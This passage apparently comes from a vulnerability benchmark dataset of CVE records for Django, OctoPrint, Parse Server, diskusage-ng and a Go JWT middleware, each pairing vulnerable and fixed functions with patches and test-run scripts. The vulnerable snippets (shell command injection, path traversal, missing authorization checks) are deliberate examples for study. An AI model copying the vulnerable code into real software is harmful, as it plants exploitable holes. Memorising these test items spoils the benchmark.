t.Header[\"kid\"])\n\t\t\t\t})\n\t\t\t\tif err != nil {\n\t\t\t\t\tif err == jwt.ErrSignatureInvalid {\n\t\t\t\t\t\treturn echo.NewHTTPError(http.StatusUnauthorized, \"Failed to generate access token. Invalid refresh token signature.\")\n\t\t\t\t\t}\n\t\t\t\t\treturn echo.NewHTTPError(http.StatusInternalServerError, fmt.Sprintf(\"Server error to refresh expired token. User Id %d\", userID)).SetInternal(err)\n\t\t\t\t}\n\n\t\t\t\tif !audienceContains(refreshTokenClaims.Audience, auth.RefreshTokenAudienceName) {\n\t\t\t\t\treturn echo.NewHTTPError(http.StatusUnauthorized,\n\t\t\t\t\t\tfmt.Sprintf(\"Invalid refresh token, audience mismatch, got %q, expected %q. you may send request to the wrong environment\",\n\t\t\t\t\t\t\trefreshTokenClaims.Audience,\n\t\t\t\t\t\t\tauth.RefreshTokenAudienceName,\n\t\t\t\t\t\t))\n\t\t\t\t}\n\n\t\t\t\t// If we have a valid refresh token, we will generate new access token and refresh token\n\t\t\t\tif refreshToken != nil && refreshToken.Valid {\n\t\t\t\t\tif err := auth.GenerateTokensAndSetCookies(c, user, secret); err != nil {\n\t\t\t\t\t\treturn echo.NewHTTPError(http.StatusInternalServerError, fmt.Sprintf(\"Server error to refresh expired token. User Id %d\", userID)).SetInternal(err)\n\t\t\t\t\t}\n\t\t\t\t}\n\n\t\t\t\treturn nil\n\t\t\t}\n\n\t\t\t// It may happen that we still have a valid access token, but we encounter issue when trying to generate new token\n\t\t\t// In such case, we won't return the error.\n\t\t\tif err := generateTokenFunc(); err != nil && !accessToken.Valid {\n\t\t\t\treturn err\n\t\t\t}\n\t\t}\n\n\t\t// Stores userID into context.\n\t\tc.Set(getUserIDContextKey(), userID)\n\t\treturn next(c)\n\t}\n}"}], "vul_patch": "--- a/server/jwt.go\n+++ b/server/jwt.go\n@@ -37,6 +37,11 @@\n \t\t\t}\n \t\t\treturn nil, errors.Errorf(\"unexpected access token kid=%v\", t.Header[\"kid\"])\n \t\t})\n+\n+\t\tif !accessToken.Valid {\n+\t\t\treturn echo.NewHTTPError(http.StatusUnauthorized, \"Invalid access token.\")\n+\t\t}\n+\n \t\tif !audienceContains(claims.Audience, auth.AccessTokenAudienceName) {\n \t\t\treturn echo.NewHTTPError(http.StatusUnauthorized, fmt.Sprintf(\"Invalid access token, audience mismatch, got %q, expected %q.\", claims.Audience, auth.AccessTokenAudienceName))\n \t\t}\n\n", "poc_patch": null, "unit_test_cmd": null}
{"cve_id": "CVE-2022-3068", "cve_description": "Improper Privilege Management in GitHub repository octoprint/octoprint prior to 1.8.3.", "cwe_info": {"CWE-285": {"name": "Improper Authorization", "description": "The product does not perform or incorrectly performs an authorization check when an actor attempts to access a resource or perform an action."}, "CWE-250": {"name": "Execution with Unnecessary Privileges", "description": "The product performs an operation at a privilege level that is higher than the minimum level required, which creates new weaknesses or amplifies the consequences of other weaknesses."}, "CWE-269": {"name": "Improper Privilege Management", "description": "The product does not properly assign, modify, track, or check privileges for an actor, creating an unintended sphere of control for that actor."}}, "repo": "https://github.com/octoprint/octoprint", "patch_url": ["https://github.com/octoprint/octoprint/commit/ef95ef1c101b79394f134e8fce000e6bae046571"], "programing_language": "Python", "vul_func": [{"id": "vul_py_340_1", "commit": "2cbeb27140c5695fd91593baa682e9c930dc4f27", "file_path": "src/octoprint/plugins/pluginmanager/__init__.py", "start_line": 224, "end_line": 253, "snippet": "    def get_additional_permissions(self):\n        return [\n            {\n                \"key\": \"LIST\",\n                \"name\": \"List plugins\",\n                \"description\": gettext(\"Allows to list installed plugins.\"),\n                \"default_groups\": [READONLY_GROUP, USER_GROUP, ADMIN_GROUP],\n                \"roles\": [\"manage\"],\n            },\n            {\n                \"key\": \"MANAGE\",\n                \"name\": \"Manage plugins\",\n                \"description\": gettext(\n                    \"Allows to enable, disable and uninstall installed plugins.\"\n                ),\n                \"default_groups\": [ADMIN_GROUP],\n                \"roles\": [\"manage\"],\n            },\n            {\n                \"key\": \"INSTALL\",\n                \"name\": \"Install new plugins\",\n                \"description\": gettext(\n                    'Allows to install new plugins. Includes the \"Manage plugins\" permission.'\n                ),\n                \"default_groups\": [ADMIN_GROUP],\n                \"roles\": [\"install\"],\n                \"permissions\": [\"PLUGIN_PLUGINMANAGER_MANAGE\"],\n                \"dangerous\": True,\n            },\n        ]"}], "fix_func": [{"id": "fix_py_340_1", "commit": "ef95ef1c101b79394f134e8fce000e6bae046571", "file_path": "src/octoprint/plugins/pluginmanager/__init__.py", "start_line": 224, "end_line": 253, "snippet": "    def get_additional_permissions(self):\n        return [\n            {\n                \"key\": \"LIST\",\n                \"name\": \"List plugins\",\n                \"description\": gettext(\"Allows to list installed plugins.\"),\n                \"default_groups\": [READONLY_GROUP, USER_GROUP, ADMIN_GROUP],\n                \"roles\": [\"list\"],\n            },\n            {\n                \"key\": \"MANAGE\",\n                \"name\": \"Manage plugins\",\n                \"description\": gettext(\n                    \"Allows to enable, disable and uninstall installed plugins.\"\n                ),\n                \"default_groups\": [ADMIN_GROUP],\n                \"roles\": [\"manage\"],\n            },\n            {\n                \"key\": \"INSTALL\",\n                \"name\": \"Install new plugins\",\n                \"description\": gettext(\n                    'Allows to install new plugins. Includes the \"Manage plugins\" permission.'\n                ),\n                \"default_groups\": [ADMIN_GROUP],\n                \"roles\": [\"install\"],\n                \"permissions\": [\"PLUGIN_PLUGINMANAGER_MANAGE\"],\n                \"dangerous\": True,\n            },\n        ]"}], "vul_patch": "--- a/src/octoprint/plugins/pluginmanager/__init__.py\n+++ b/src/octoprint/plugins/pluginmanager/__init__.py\n@@ -5,7 +5,7 @@\n                 \"name\": \"List plugins\",\n                 \"description\": gettext(\"Allows to list installed plugins.\"),\n                 \"default_groups\": [READONLY_GROUP, USER_GROUP, ADMIN_GROUP],\n-                \"roles\": [\"manage\"],\n+                \"roles\": [\"list\"],\n             },\n             {\n                 \"key\": \"MANAGE\",\n\n", "poc_patch": null, "unit_test_cmd": null}
{"cve_id": "CVE-2021-45452", "cve_description": "Storage.save in Django 2.2 before 2.2.26, 3.2 before 3.2.11, and 4.0 before 4.0.1 allows directory traversal if crafted filenames are directly passed to it.", "cwe_info": {"CWE-73": {"name": "External Control of File Name or Path", "description": "The product allows user input to control or influence paths or file names that are used in filesystem operations."}, "CWE-22": {"name": "Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal')", "description": "The product uses external input to construct a pathname that is intended to identify a file or directory that is located underneath a restricted parent directory, but the product does not properly neutralize special elements within the pathname that can cause the pathname to resolve to a location that is outside of the restricted directory."}}, "repo": "https://github.com/django/django", "patch_url": ["https://github.com/django/django/commit/e1592e0f26302e79856cc7f2218ae848ae19b0f6", "https://github.com/django/django/commit/4cb35b384ceef52123fc66411a73c36a706825e1", "https://github.com/django/django/commit/8d2f7cff76200cbd2337b2cf1707e383eb1fb54b"], "programing_language": "Python", "vul_func": [{"id": "vul_py_11_1", "commit": "c9f648c", "file_path": "django/core/files/storage.py", "start_line": 40, "end_line": 54, "snippet": "    def save(self, name, content, max_length=None):\n        \"\"\"\n        Save new content to the file specified by name. The content should be\n        a proper File object or any Python file-like object, ready to be read\n        from the beginning.\n        \"\"\"\n        # Get the proper name for the file, as it will actually be saved.\n        if name is None:\n            name = content.name\n\n        if not hasattr(content, 'chunks'):\n            content = File(content, name)\n\n        name = self.get_available_name(name, max_length=max_length)\n        return self._save(name, content)"}, {"id": "vul_py_11_2", "commit": "c9f648c", "file_path": "django/core/files/storage.py", "start_line": 65, "end_line": 97, "snippet": "    def get_available_name(self, name, max_length=None):\n        \"\"\"\n        Return a filename that's free on the target storage system and\n        available for new content to be written to.\n        \"\"\"\n        dir_name, file_name = os.path.split(name)\n        if '..' in pathlib.PurePath(dir_name).parts:\n            raise SuspiciousFileOperation(\"Detected path traversal attempt in '%s'\" % dir_name)\n        validate_file_name(file_name)\n        file_root, file_ext = os.path.splitext(file_name)\n        # If the filename already exists, add an underscore and a random 7\n        # character alphanumeric string (before the file extension, if one\n        # exists) to the filename until the generated filename doesn't exist.\n        # Truncate original name if required, so the new filename does not\n        # exceed the max_length.\n        while self.exists(name) or (max_length and len(name) > max_length):\n            # file_ext includes the dot.\n            name = os.path.join(dir_name, \"%s_%s%s\" % (file_root, get_random_string(7), file_ext))\n            if max_length is None:\n                continue\n            # Truncate file_root if max_length exceeded.\n            truncation = len(name) - max_length\n            if truncation > 0:\n                file_root = file_root[:-truncation]\n                # Entire file_root was truncated in attempt to find an available filename.\n                if not file_root:\n                    raise SuspiciousFileOperation(\n                        'Storage can not find an available filename for \"%s\". '\n                        'Please make sure that the corresponding file field '\n                        'allows sufficient \"max_length\".' % name\n                    )\n                name = os.path.join(dir_name, \"%s_%s%s\" % (file_root, get_random_string(7), file_ext))\n        return name"}, {"id": "vul_py_11_3", "commit": "c9f648c", "file_path": "django/core/files/storage.py", "start_line": 99, "end_line": 108, "snippet": "    def generate_filename(self, filename):\n        \"\"\"\n        Validate the filename by calling get_valid_name() and return a filename\n        to be passed to the save() method.\n        \"\"\"\n        # `filename` may include a path as returned by FileField.upload_to.\n        dirname, filename = os.path.split(filename)\n        if '..' in pathlib.PurePath(dirname).parts:\n            raise SuspiciousFileOperation(\"Detected path traversal attempt in '%s'\" % dirname)\n        return os.path.normpath(os.path.join(dirname, self.get_valid_name(filename)))"}, {"id": "vul_py_11_4", "commit": "c9f648c", "file_path": "django/core/files/storage.py", "start_line": 233, "end_line": 300, "snippet": "    def _save(self, name, content):\n        full_path = self.path(name)\n\n        # Create any intermediate directories that do not exist.\n        directory = os.path.dirname(full_path)\n        if not os.path.exists(directory):\n            try:\n                if self.directory_permissions_mode is not None:\n                    # Set the umask because os.makedirs() doesn't apply the \"mode\"\n                    # argument to intermediate-level directories.\n                    old_umask = os.umask(0o777 & ~self.directory_permissions_mode)\n                    try:\n                        os.makedirs(directory, self.directory_permissions_mode)\n                    finally:\n                        os.umask(old_umask)\n                else:\n                    os.makedirs(directory)\n            except FileExistsError:\n                # There's a race between os.path.exists() and os.makedirs().\n                # If os.makedirs() fails with FileExistsError, the directory\n                # was created concurrently.\n                pass\n        if not os.path.isdir(directory):\n            raise IOError(\"%s exists and is not a directory.\" % directory)\n\n        # There's a potential race condition between get_available_name and\n        # saving the file; it's possible that two threads might return the\n        # same name, at which point all sorts of fun happens. So we need to\n        # try to create the file, but if it already exists we have to go back\n        # to get_available_name() and try again.\n\n        while True:\n            try:\n                # This file has a file path that we can move.\n                if hasattr(content, 'temporary_file_path'):\n                    file_move_safe(content.temporary_file_path(), full_path)\n\n                # This is a normal uploadedfile that we can stream.\n                else:\n                    # The current umask value is masked out by os.open!\n                    fd = os.open(full_path, self.OS_OPEN_FLAGS, 0o666)\n                    _file = None\n                    try:\n                        locks.lock(fd, locks.LOCK_EX)\n                        for chunk in content.chunks():\n                            if _file is None:\n                                mode = 'wb' if isinstance(chunk, bytes) else 'wt'\n                                _file = os.fdopen(fd, mode)\n                            _file.write(chunk)\n                    finally:\n                        locks.unlock(fd)\n                        if _file is not None:\n                            _file.close()\n                        else:\n                            os.close(fd)\n            except FileExistsError:\n                # A new name is needed if the file exists.\n                name = self.get_available_name(name)\n                full_path = self.path(name)\n            else:\n                # OK, the file save worked. Break out of the loop.\n                break\n\n        if self.file_permissions_mode is not None:\n            os.chmod(full_path, self.file_permissions_mode)\n\n        # Store filenames with forward slashes, even on Windows.\n        return name.replace('\\\\', '/')"}], "fix_func": [{"id": "fix_py_11_1", "commit": "4cb35b3", "file_path": "django/core/files/storage.py", "start_line": 40, "end_line": 57, "snippet": "    def save(self, name, content, max_length=None):\n        \"\"\"\n        Save new content to the file specified by name. The content should be\n        a proper File object or any Python file-like object, ready to be read\n        from the beginning.\n        \"\"\"\n        # Get the proper name for the file, as it will actually be saved.\n        if name is None:\n            name = content.name\n\n        if not hasattr(content, 'chunks'):\n            content = File(content, name)\n\n        name = self.get_available_name(name, max_length=max_length)\n        name = self._save(name, content)\n        # Ensure that the name returned from the storage system is still valid.\n        validate_file_name(name, allow_relative_path=True)\n        return name"}, {"id": "fix_py_11_2", "commit": "4cb35b3", "file_path": "django/core/files/storage.py", "start_line": 68, "end_line": 101, "snippet": "    def get_available_name(self, name, max_length=None):\n        \"\"\"\n        Return a filename that's free on the target storage system and\n        available for new content to be written to.\n        \"\"\"\n        name = str(name).replace('\\\\', '/')\n        dir_name, file_name = os.path.split(name)\n        if '..' in pathlib.PurePath(dir_name).parts:\n            raise SuspiciousFileOperation(\"Detected path traversal attempt in '%s'\" % dir_name)\n        validate_file_name(file_name)\n        file_root, file_ext = os.path.splitext(file_name)\n        # If the filename already exists, add an underscore and a random 7\n        # character alphanumeric string (before the file extension, if one\n        # exists) to the filename until the generated filename doesn't exist.\n        # Truncate original name if required, so the new filename does not\n        # exceed the max_length.\n        while self.exists(name) or (max_length and len(name) > max_length):\n            # file_ext includes the dot.\n            name = os.path.join(dir_name, \"%s_%s%s\" % (file_root, get_random_string(7), file_ext))\n            if max_length is None:\n                continue\n            # Truncate file_root if max_length exceeded.\n            truncation = len(name) - max_length\n            if truncation > 0:\n                file_root = file_root[:-truncation]\n                # Entire file_root was truncated in attempt to find an available filename.\n                if not file_root:\n                    raise SuspiciousFileOperation(\n                        'Storage can not find an available filename for \"%s\". '\n                        'Please make sure that the corresponding file field '\n                        'allows sufficient \"max_length\".' % name\n                    )\n                name = os.path.join(dir_name, \"%s_%s%s\" % (file_root, get_random_string(7), file_ext))\n        return name"}, {"id": "fix_py_11_3", "commit": "4cb35b3", "file_path": "django/core/files/storage.py", "start_line": 103, "end_line": 113, "snippet": "    def generate_filename(self, filename):\n        \"\"\"\n        Validate the filename by calling get_valid_name() and return a filename\n        to be passed to the save() method.\n        \"\"\"\n        filename = str(filename).replace('\\\\', '/')\n        # `filename` may include a path as returned by FileField.upload_to.\n        dirname, filename = os.path.split(filename)\n        if '..' in pathlib.PurePath(dirname).parts:\n            raise SuspiciousFileOperation(\"Detected path traversal attempt in '%s'\" % dirname)\n        return os.path.normpath(os.path.join(dirname, self.get_valid_name(filename)))"}, {"id": "fix_py_11_4", "commit": "4cb35b3", "file_path": "django/core/files/storage.py", "start_line": 238, "end_line": 307, "snippet": "    def _save(self, name, content):\n        full_path = self.path(name)\n\n        # Create any intermediate directories that do not exist.\n        directory = os.path.dirname(full_path)\n        if not os.path.exists(directory):\n            try:\n                if self.directory_permissions_mode is not None:\n                    # Set the umask because os.makedirs() doesn't apply the \"mode\"\n                    # argument to intermediate-level directories.\n                    old_umask = os.umask(0o777 & ~self.directory_permissions_mode)\n                    try:\n                        os.makedirs(directory, self.directory_permissions_mode)\n                    finally:\n                        os.umask(old_umask)\n                else:\n                    os.makedirs(directory)\n            except FileExistsError:\n                # There's a race between os.path.exists() and os.makedirs().\n                # If os.makedirs() fails with FileExistsError, the directory\n                # was created concurrently.\n                pass\n        if not os.path.isdir(directory):\n            raise IOError(\"%s exists and is not a directory.\" % directory)\n\n        # There's a potential race condition between get_available_name and\n        # saving the file; it's possible that two threads might return the\n        # same name, at which point all sorts of fun happens. So we need to\n        # try to create the file, but if it already exists we have to go back\n        # to get_available_name() and try again.\n\n        while True:\n            try:\n                # This file has a file path that we can move.\n                if hasattr(content, 'temporary_file_path'):\n                    file_move_safe(content.temporary_file_path(), full_path)\n\n                # This is a normal uploadedfile that we can stream.\n                else:\n                    # The current umask value is masked out by os.open!\n                    fd = os.open(full_path, self.OS_OPEN_FLAGS, 0o666)\n                    _file = None\n                    try:\n                        locks.lock(fd, locks.LOCK_EX)\n                        for chunk in content.chunks():\n                            if _file is None:\n                                mode = 'wb' if isinstance(chunk, bytes) else 'wt'\n                                _file = os.fdopen(fd, mode)\n                            _file.write(chunk)\n                    finally:\n                        locks.unlock(fd)\n                        if _file is not None:\n                            _file.close()\n                        else:\n                            os.close(fd)\n            except FileExistsError:\n                # A new name is needed if the file exists.\n                name = self.get_available_name(name)\n                full_path = self.path(name)\n            else:\n                # OK, the file save worked. Break out of the loop.\n                break\n\n        if self.file_permissions_mode is not None:\n            os.chmod(full_path, self.file_permissions_mode)\n\n        # Ensure the saved path is always relative to the storage root.\n        name = os.path.relpath(full_path, self.location)\n        # Store filenames with forward slashes, even on Windows.\n        return name.replace('\\\\', '/')"}], "vul_patch": "--- a/django/core/files/storage.py\n+++ b/django/core/files/storage.py\n@@ -12,4 +12,7 @@\n             content = File(content, name)\n \n         name = self.get_available_name(name, max_length=max_length)\n-        return self._save(name, content)\n+        name = self._save(name, content)\n+        # Ensure that the name returned from the storage system is still valid.\n+        validate_file_name(name, allow_relative_path=True)\n+        return name\n\n--- a/django/core/files/storage.py\n+++ b/django/core/files/storage.py\n@@ -3,6 +3,7 @@\n         Return a filename that's free on the target storage system and\n         available for new content to be written to.\n         \"\"\"\n+        name = str(name).replace('\\\\', '/')\n         dir_name, file_name = os.path.split(name)\n         if '..' in pathlib.PurePath(dir_name).parts:\n             raise SuspiciousFileOperation(\"Detected path traversal attempt in '%s'\" % dir_name)\n\n--- a/django/core/files/storage.py\n+++ b/django/core/files/storage.py\n@@ -3,6 +3,7 @@\n         Validate the filename by calling get_valid_name() and return a filename\n         to be passed to the save() method.\n         \"\"\"\n+        filename = str(filename).replace('\\\\', '/')\n         # `filename` may include a path as returned by FileField.upload_to.\n         dirname, filename = os.path.split(filename)\n         if '..' in pathlib.PurePath(dirname).parts:\n\n--- a/django/core/files/storage.py\n+++ b/django/core/files/storage.py\n@@ -64,5 +64,7 @@\n         if self.file_permissions_mode is not None:\n             os.chmod(full_path, self.file_permissions_mode)\n \n+        # Ensure the saved path is always relative to the storage root.\n+        name = os.path.relpath(full_path, self.location)\n         # Store filenames with forward slashes, even on Windows.\n         return name.replace('\\\\', '/')\n\n", "poc_test_cmd": "#!/bin/bash\n# From ghcr.io/anonymous2578-data/cve-2021-45452:latest\n# bash /workspace/fix-run.sh\nset -e\n\ncd /workspace/django\ngit apply --whitespace=nowarn /workspace/test.patch /workspace/fix.patch\ncd tests && /workspace/PoC_env/CVE-2021-45452/bin/python ./runtests.py file_storage.test_generate_filename.GenerateFilenameStorageTests.test_storage_dangerous_paths_dir_name file_storage.tests.FileStorageTests.test_file_save_abs_path\n", "unit_test_cmd": "#!/bin/bash\n# From ghcr.io/anonymous2578-data/cve-2021-45452:latest\n# bash /workspace/unit_test.sh\nset -e\n\ncd /workspace/django\ngit apply --whitespace=nowarn /workspace/fix.patch\ncd tests && /workspace/PoC_env/CVE-2021-45452/bin/python ./runtests.py file_storage.test_generate_filename file_storage.tests\n"}
{"cve_id": "CVE-2020-7631", "cve_description": "diskusage-ng through 0.2.4 is vulnerable to Command Injection.It allows execution of arbitrary commands via the path argument.", "cwe_info": {"CWE-78": {"name": "Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')", "description": "The product constructs all or part of an OS command using externally-influenced input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could modify the intended OS command when it is sent to a downstream component."}}, "repo": "https://github.com/iximiuz/node-diskusage-ng", "patch_url": ["https://github.com/iximiuz/node-diskusage-ng/commit/48e7e093486b528f0c81ec699573e0e4a431b8d3"], "programing_language": "JavaScript", "vul_func": [{"id": "vul_js_15_1", "commit": "53c505506553c83861d1bd67823d6a382d3a5a43", "file_path": "lib/posix.js", "start_line": 6, "end_line": 22, "snippet": "function diskusage(path, cb) {\n    if (path.indexOf('\"') !== -1) {\n        return cb(new Error('Paths with double quotes are not supported yet'));\n    }\n\n    exec('df -k \"' + path + '\"', function(err, stdout) {\n        if (err) {\n            return cb(err);\n        }\n\n        try {\n            cb(null, parse(stdout));\n        } catch (e) {\n            cb(e);\n        }\n    });\n}"}], "fix_func": [{"id": "fix_js_15_1", "commit": "48e7e093486b528f0c81ec699573e0e4a431b8d3", "file_path": "lib/posix.js", "start_line": 6, "end_line": 18, "snippet": "function diskusage(path, cb) {\n    execFile('df', ['-k', path], function(err, stdout) {\n        if (err) {\n            return cb(err);\n        }\n\n        try {\n            cb(null, parse(stdout));\n        } catch (e) {\n            cb(e);\n        }\n    });\n}"}, {"id": "fix_js_15_2", "commit": "48e7e093486b528f0c81ec699573e0e4a431b8d3", "file_path": "lib/posix.js", "start_line": 3, "end_line": 3, "snippet": "var execFile = require('child_process').execFile;"}], "vul_patch": "--- a/lib/posix.js\n+++ b/lib/posix.js\n@@ -1,9 +1,5 @@\n function diskusage(path, cb) {\n-    if (path.indexOf('\"') !== -1) {\n-        return cb(new Error('Paths with double quotes are not supported yet'));\n-    }\n-\n-    exec('df -k \"' + path + '\"', function(err, stdout) {\n+    execFile('df', ['-k', path], function(err, stdout) {\n         if (err) {\n             return cb(err);\n         }\n\n--- /dev/null\n+++ b/lib/posix.js\n@@ -0,0 +1 @@\n+var execFile = require('child_process').execFile;\n\n", "poc_test_cmd": "#!/bin/bash\n# From ghcr.io/anonymous2578-data/cve-2020-7631:latest\n# bash /workspace/fix-run.sh\nset -e\n\ncd /workspace/node-diskusage-ng\ngit apply --whitespace=nowarn /workspace/test.patch /workspace/fix.patch\njest ./poc\n", "unit_test_cmd": null}
{"cve_id": "CVE-2023-46119", "cve_description": "Parse Server is an open source backend that can be deployed to any infrastructure that can run Node.js. Parse Server crashes when uploading a file without extension. This vulnerability has been patched in versions 5.5.6 and 6.3.1.\n\n", "cwe_info": {"CWE-73": {"name": "External Control of File Name or Path", "description": "The product allows user input to control or influence paths or file names that are used in filesystem operations."}, "CWE-22": {"name": "Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal')", "description": "The product uses external input to construct a pathname that is intended to identify a file or directory that is located underneath a restricted parent directory, but the product does not properly neutralize special elements within the pathname that can cause the pathname to resolve to a location that is outside of the restricted directory."}}, "repo": "https://github.com/parse-community/parse-server", "patch_url": ["https://github.com/parse-community/parse-server/commit/686a9f282dc23c31beab3d93e6d21ccd0e1328fe", "https://github.com/parse-community/parse-server/commit/fd86278919556d3682e7e2c856dfccd5beffbfc0"], "programing_language": "JavaScript", "vul_func": [{"id": "vul_js_122_1", "commit": "0bb63d8", "file_path": "src/Routers/FilesRouter.js", "start_line": 102, "end_line": 256, "snippet": "  async createHandler(req, res, next) {\n    const config = req.config;\n    const user = req.auth.user;\n    const isMaster = req.auth.isMaster;\n    const isLinked = user && Parse.AnonymousUtils.isLinked(user);\n    if (!isMaster && !config.fileUpload.enableForAnonymousUser && isLinked) {\n      next(\n        new Parse.Error(Parse.Error.FILE_SAVE_ERROR, 'File upload by anonymous user is disabled.')\n      );\n      return;\n    }\n    if (!isMaster && !config.fileUpload.enableForAuthenticatedUser && !isLinked && user) {\n      next(\n        new Parse.Error(\n          Parse.Error.FILE_SAVE_ERROR,\n          'File upload by authenticated user is disabled.'\n        )\n      );\n      return;\n    }\n    if (!isMaster && !config.fileUpload.enableForPublic && !user) {\n      next(new Parse.Error(Parse.Error.FILE_SAVE_ERROR, 'File upload by public is disabled.'));\n      return;\n    }\n    const filesController = config.filesController;\n    const { filename } = req.params;\n    const contentType = req.get('Content-type');\n\n    if (!req.body || !req.body.length) {\n      next(new Parse.Error(Parse.Error.FILE_SAVE_ERROR, 'Invalid file upload.'));\n      return;\n    }\n\n    const error = filesController.validateFilename(filename);\n    if (error) {\n      next(error);\n      return;\n    }\n\n    const fileExtensions = config.fileUpload?.fileExtensions;\n    if (!isMaster && fileExtensions) {\n      const isValidExtension = extension => {\n        return fileExtensions.some(ext => {\n          if (ext === '*') {\n            return true;\n          }\n          const regex = new RegExp(fileExtensions);\n          if (regex.test(extension)) {\n            return true;\n          }\n        });\n      };\n      let extension = contentType;\n      if (filename && filename.includes('.')) {\n        extension = filename.split('.')[1];\n      } else if (contentType && contentType.includes('/')) {\n        extension = contentType.split('/')[1];\n      }\n      extension = extension.split(' ').join('');\n\n      if (!isValidExtension(extension)) {\n        next(\n          new Parse.Error(\n            Parse.Error.FILE_SAVE_ERROR,\n            `File upload of extension ${extension} is disabled.`\n          )\n        );\n        return;\n      }\n    }\n\n    const base64 = req.body.toString('base64');\n    const file = new Parse.File(filename, { base64 }, contentType);\n    const { metadata = {}, tags = {} } = req.fileData || {};\n    try {\n      // Scan request data for denied keywords\n      Utils.checkProhibitedKeywords(config, metadata);\n      Utils.checkProhibitedKeywords(config, tags);\n    } catch (error) {\n      next(new Parse.Error(Parse.Error.INVALID_KEY_NAME, error));\n      return;\n    }\n    file.setTags(tags);\n    file.setMetadata(metadata);\n    const fileSize = Buffer.byteLength(req.body);\n    const fileObject = { file, fileSize };\n    try {\n      // run beforeSaveFile trigger\n      const triggerResult = await triggers.maybeRunFileTrigger(\n        triggers.Types.beforeSave,\n        fileObject,\n        config,\n        req.auth\n      );\n      let saveResult;\n      // if a new ParseFile is returned check if it's an already saved file\n      if (triggerResult instanceof Parse.File) {\n        fileObject.file = triggerResult;\n        if (triggerResult.url()) {\n          // set fileSize to null because we wont know how big it is here\n          fileObject.fileSize = null;\n          saveResult = {\n            url: triggerResult.url(),\n            name: triggerResult._name,\n          };\n        }\n      }\n      // if the file returned by the trigger has already been saved skip saving anything\n      if (!saveResult) {\n        // if the ParseFile returned is type uri, download the file before saving it\n        await addFileDataIfNeeded(fileObject.file);\n        // update fileSize\n        const bufferData = Buffer.from(fileObject.file._data, 'base64');\n        fileObject.fileSize = Buffer.byteLength(bufferData);\n        // prepare file options\n        const fileOptions = {\n          metadata: fileObject.file._metadata,\n        };\n        // some s3-compatible providers (DigitalOcean, Linode) do not accept tags\n        // so we do not include the tags option if it is empty.\n        const fileTags =\n          Object.keys(fileObject.file._tags).length > 0 ? { tags: fileObject.file._tags } : {};\n        Object.assign(fileOptions, fileTags);\n        // save file\n        const createFileResult = await filesController.createFile(\n          config,\n          fileObject.file._name,\n          bufferData,\n          fileObject.file._source.type,\n          fileOptions\n        );\n        // update file with new data\n        fileObject.file._name = createFileResult.name;\n        fileObject.file._url = createFileResult.url;\n        fileObject.file._requestTask = null;\n        fileObject.file._previousSave = Promise.resolve(fileObject.file);\n        saveResult = {\n          url: createFileResult.url,\n          name: createFileResult.name,\n        };\n      }\n      // run afterSaveFile trigger\n      await triggers.maybeRunFileTrigger(triggers.Types.afterSave, fileObject, config, req.auth);\n      res.status(201);\n      res.set('Location', saveResult.url);\n      res.json(saveResult);\n    } catch (e) {\n      logger.error('Error creating a file: ', e);\n      const error = triggers.resolveError(e, {\n        code: Parse.Error.FILE_SAVE_ERROR,\n        message: `Could not store file: ${fileObject.file._name}.`,\n      });\n      next(error);\n    }\n  }"}], "fix_func": [{"id": "fix_js_122_1", "commit": "686a9f2", "file_path": "src/Routers/FilesRouter.js", "start_line": 102, "end_line": 256, "snippet": "  async createHandler(req, res, next) {\n    const config = req.config;\n    const user = req.auth.user;\n    const isMaster = req.auth.isMaster;\n    const isLinked = user && Parse.AnonymousUtils.isLinked(user);\n    if (!isMaster && !config.fileUpload.enableForAnonymousUser && isLinked) {\n      next(\n        new Parse.Error(Parse.Error.FILE_SAVE_ERROR, 'File upload by anonymous user is disabled.')\n      );\n      return;\n    }\n    if (!isMaster && !config.fileUpload.enableForAuthenticatedUser && !isLinked && user) {\n      next(\n        new Parse.Error(\n          Parse.Error.FILE_SAVE_ERROR,\n          'File upload by authenticated user is disabled.'\n        )\n      );\n      return;\n    }\n    if (!isMaster && !config.fileUpload.enableForPublic && !user) {\n      next(new Parse.Error(Parse.Error.FILE_SAVE_ERROR, 'File upload by public is disabled.'));\n      return;\n    }\n    const filesController = config.filesController;\n    const { filename } = req.params;\n    const contentType = req.get('Content-type');\n\n    if (!req.body || !req.body.length) {\n      next(new Parse.Error(Parse.Error.FILE_SAVE_ERROR, 'Invalid file upload.'));\n      return;\n    }\n\n    const error = filesController.validateFilename(filename);\n    if (error) {\n      next(error);\n      return;\n    }\n\n    const fileExtensions = config.fileUpload?.fileExtensions;\n    if (!isMaster && fileExtensions) {\n      const isValidExtension = extension => {\n        return fileExtensions.some(ext => {\n          if (ext === '*') {\n            return true;\n          }\n          const regex = new RegExp(fileExtensions);\n          if (regex.test(extension)) {\n            return true;\n          }\n        });\n      };\n      let extension = contentType;\n      if (filename && filename.includes('.')) {\n        extension = filename.split('.')[1];\n      } else if (contentType && contentType.includes('/')) {\n        extension = contentType.split('/')[1];\n      }\n      extension = extension?.split(' ')?.join('');\n\n      if (extension && !isValidExtension(extension)) {\n        next(\n          new Parse.Error(\n            Parse.Error.FILE_SAVE_ERROR,\n            `File upload of extension ${extension} is disabled.`\n          )\n        );\n        return;\n      }\n    }\n\n    const base64 = req.body.toString('base64');\n    const file = new Parse.File(filename, { base64 }, contentType);\n    const { metadata = {}, tags = {} } = req.fileData || {};\n    try {\n      // Scan request data for denied keywords\n      Utils.checkProhibitedKeywords(config, metadata);\n      Utils.checkProhibitedKeywords(config, tags);\n    } catch (error) {\n      next(new Parse.Error(Parse.Error.INVALID_KEY_NAME, error));\n      return;\n    }\n    file.setTags(tags);\n    file.setMetadata(metadata);\n    const fileSize = Buffer.byteLength(req.body);\n    const fileObject = { file, fileSize };\n    try {\n      // run beforeSaveFile trigger\n      const triggerResult = await triggers.maybeRunFileTrigger(\n        triggers.Types.beforeSave,\n        fileObject,\n        config,\n        req.auth\n      );\n      let saveResult;\n      // if a new ParseFile is returned check if it's an already saved file\n      if (triggerResult instanceof Parse.File) {\n        fileObject.file = triggerResult;\n        if (triggerResult.url()) {\n          // set fileSize to null because we wont know how big it is here\n          fileObject.fileSize = null;\n          saveResult = {\n            url: triggerResult.url(),\n            name: triggerResult._name,\n          };\n        }\n      }\n      // if the file returned by the trigger has already been saved skip saving anything\n      if (!saveResult) {\n        // if the ParseFile returned is type uri, download the file before saving it\n        await addFileDataIfNeeded(fileObject.file);\n        // update fileSize\n        const bufferData = Buffer.from(fileObject.file._data, 